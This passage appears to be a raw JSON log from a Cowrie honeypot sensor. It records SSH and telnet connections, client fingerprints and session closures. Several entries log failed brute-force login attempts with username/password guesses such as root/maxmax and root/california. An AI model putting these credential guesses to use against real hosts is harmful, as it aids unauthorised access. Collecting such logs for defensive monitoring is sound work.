{"eventid":"cowrie.session.closed","duration":19.021440267562866,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:25:59.197642Z","src_ip":"152.42.224.71","session":"49bbccacf407","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.08920979499817,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:06.717015Z","src_ip":"152.42.224.71","session":"7e9fec066988","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":58386,"dst_ip":"159.203.135.109","dst_port":22,"session":"eace89e9b828","protocol":"ssh","message":"New connection: 31.40.204.166:58386 (159.203.135.109:22) [session: eace89e9b828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:08.984965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:08.989623Z","src_ip":"31.40.204.166","session":"eace89e9b828","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:09.183407Z","src_ip":"31.40.204.166","session":"eace89e9b828","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sit","password":"sit123456","message":"login attempt [sit/sit123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:09.698064Z","src_ip":"31.40.204.166","session":"eace89e9b828","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:10.898461Z","src_ip":"31.40.204.166","session":"eace89e9b828","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52662,"dst_ip":"10.17.0.5","dst_port":23,"session":"91004862c7a9","protocol":"telnet","message":"New connection: 152.42.224.71:52662 (10.17.0.5:23) [session: 91004862c7a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:11.274116Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.213","src_port":17636,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0ca8a213b02","protocol":"ssh","message":"New connection: 101.36.108.213:17636 (159.203.135.109:22) [session: a0ca8a213b02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:13.310451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:13.316114Z","src_ip":"101.36.108.213","session":"a0ca8a213b02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:13.541736Z","src_ip":"101.36.108.213","session":"a0ca8a213b02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maxmax","message":"login attempt [root/maxmax] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:14.449177Z","src_ip":"101.36.108.213","session":"a0ca8a213b02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.115.94","src_port":41482,"dst_ip":"159.203.135.109","dst_port":22,"session":"02efcdce1b90","protocol":"ssh","message":"New connection: 119.28.115.94:41482 (159.203.135.109:22) [session: 02efcdce1b90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:14.645595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:14.649981Z","src_ip":"119.28.115.94","session":"02efcdce1b90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:14.879595Z","src_ip":"119.28.115.94","session":"02efcdce1b90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":44212,"dst_ip":"10.17.0.5","dst_port":22,"session":"04ee8c6d37cf","protocol":"ssh","message":"New connection: 37.233.85.71:44212 (10.17.0.5:22) [session: 04ee8c6d37cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:15.082301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:15.087653Z","src_ip":"37.233.85.71","session":"04ee8c6d37cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:15.197196Z","src_ip":"37.233.85.71","session":"04ee8c6d37cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"california","message":"login attempt [root/california] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:15.525904Z","src_ip":"37.233.85.71","session":"04ee8c6d37cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:15.667428Z","src_ip":"101.36.108.213","session":"a0ca8a213b02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"joecool","message":"login attempt [root/joecool] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:15.829788Z","src_ip":"119.28.115.94","session":"02efcdce1b90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:16.637583Z","src_ip":"37.233.85.71","session":"04ee8c6d37cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:17.061626Z","src_ip":"119.28.115.94","session":"02efcdce1b90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.227.3","src_port":49988,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce425ac868cb","protocol":"ssh","message":"New connection: 43.156.227.3:49988 (159.203.135.109:22) [session: ce425ac868cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:17.988024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:18.046761Z","src_ip":"43.156.227.3","session":"ce425ac868cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:18.283839Z","src_ip":"43.156.227.3","session":"ce425ac868cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq@123456789","message":"login attempt [root/Qq@123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:19.221954Z","src_ip":"43.156.227.3","session":"ce425ac868cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":99.90408396720886,"message":"Connection lost after 99 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:19.690491Z","src_ip":"152.42.224.71","session":"0019d91c7871","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":111.77601027488708,"message":"Connection lost after 111 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:20.295687Z","src_ip":"152.42.224.71","session":"55925361567b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:20.461951Z","src_ip":"43.156.227.3","session":"ce425ac868cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":44176,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ff9aec1cedd","protocol":"ssh","message":"New connection: 31.40.204.166:44176 (159.203.135.109:22) [session: 7ff9aec1cedd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:21.627914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:21.633686Z","src_ip":"31.40.204.166","session":"7ff9aec1cedd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:21.804572Z","src_ip":"31.40.204.166","session":"7ff9aec1cedd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karel","password":"karel","message":"login attempt [karel/karel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:22.487829Z","src_ip":"31.40.204.166","session":"7ff9aec1cedd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54548,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee755fed2a7c","protocol":"telnet","message":"New connection: 152.42.224.71:54548 (10.17.0.5:23) [session: ee755fed2a7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:23.069908Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:23.691383Z","src_ip":"31.40.204.166","session":"7ff9aec1cedd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.021541595458984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:25.509426Z","src_ip":"152.42.224.71","session":"4294a2808eef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":71.1650903224945,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:26.976593Z","src_ip":"152.42.224.71","session":"ded1bceb0eef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39274,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4dd4e6d3598","protocol":"telnet","message":"New connection: 152.42.224.71:39274 (10.17.0.5:23) [session: d4dd4e6d3598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:28.697695Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39280,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe2c62dea7e2","protocol":"telnet","message":"New connection: 152.42.224.71:39280 (10.17.0.5:23) [session: fe2c62dea7e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:31.024909Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":58290,"dst_ip":"159.203.135.109","dst_port":22,"session":"992974c9c9fe","protocol":"ssh","message":"New connection: 43.153.54.120:58290 (159.203.135.109:22) [session: 992974c9c9fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:31.403278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:31.407387Z","src_ip":"43.153.54.120","session":"992974c9c9fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:31.475073Z","src_ip":"43.153.54.120","session":"992974c9c9fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00145673751831,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:31.703906Z","src_ip":"152.42.224.71","session":"1fd6d501176f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"maxmax","message":"login attempt [root/maxmax] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:31.777969Z","src_ip":"43.153.54.120","session":"992974c9c9fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:32.851571Z","src_ip":"43.153.54.120","session":"992974c9c9fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.228.151","src_port":41980,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab234e819536","protocol":"ssh","message":"New connection: 43.134.228.151:41980 (159.203.135.109:22) [session: ab234e819536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:32.880231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:26:32.884894Z","src_ip":"43.134.228.151","session":"ab234e819536","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","d